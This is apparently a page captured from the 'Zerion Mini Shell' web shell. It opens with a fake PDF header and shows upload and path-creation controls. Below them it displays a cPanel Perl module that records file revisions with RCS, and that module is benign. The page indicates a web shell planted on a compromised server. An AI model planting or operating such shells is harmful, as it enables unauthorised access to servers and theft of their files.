%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /script/
Upload File :
Create Path :
Current File : //script/RcsRecord.pm

#!/usr/bin/perl
# RcsRecord.pm                     Copyright(c) 1999-2004 cPanel, Inc.
#                                 All rights Reserved.
# copyright@cpanel.net              http://cpanel.net

package RcsRecord;

use SafeFile;
use Carp;

use vars qw(@ISA @EXPORT $VERSION);

require Exporter;
require DynaLoader;
@ISA = qw(Exporter DynaLoader);
@EXPORT = qw(rcsrecord);

$VERSION = '3.0';

sub rcsrecord {
   my($file,$description) = @_;
   my($pid);

   if ($pid = fork()) {
#master
   } else {
      open(STDOUT,">/dev/null");
      open(STDERR,">/dev/null");
      $SIG{'PIPE'} = 'IGNORE';

      my (@DIR) = split(/\//, $file);
      my ($truefile) = pop(@DIR);
      my($dir) = '';
      if ($#DIR > -1) { 
         $dir = join("/", @DIR);
      }

      my $rcslock = SafeFile::safeopen(\*RCSFILE,"<",$file);
      if ( -e "${dir}/,${truefile}," ) {
         my($mtime) = (stat("${dir}/,${truefile},"))[9];
         if ( (time() - $mtime) > 3600 ) {
                unlink("${dir}/,${truefile},");
         }
      }
      if (! -e "${dir}/${truefile},v") {
         open(RCS,"|-") || exec ("rcs","-q","-i","$file");
         print RCS "Init by $0\n";
         close(RCS);
      }
      open(RCS,"|-") || exec ("ci","-l","$file");
      print RCS "Modified by $0\.\n";
      close(RCS);
      if ( (stat("${dir}/${truefile},v"))[7] > ((stat(${file}))[7] * 10) ) {
                my $lt = localtime(time()-(86400*30));
                my ($head,$rev);
                open(RCS,"-|") || exec ("rlog","-d\"${lt}\"",$file);
                while(<RCS>) {
                        if (/head:[\s\t]+([\d\.]+)/) {
                                $head=$1;
                        }
                        if (/revision[\s\t]+([\d\.]+)/) {
                                $rev=$1;
                        }
                }
                close(RCS);
                if ($rev eq $head) { $rev -= 0.1; }

                if ($rev ne "") {
                        system("rcs","-q","-o:${rev}","$file");
                }
      }
      SafeFile::safeclose(\*RCSFILE,$rcslock);
      $SIG{'PIPE'} = 'DEFAULT';
      exit();
   }
   waitpid($pid,0);
}

Zerion Mini Shell 1.0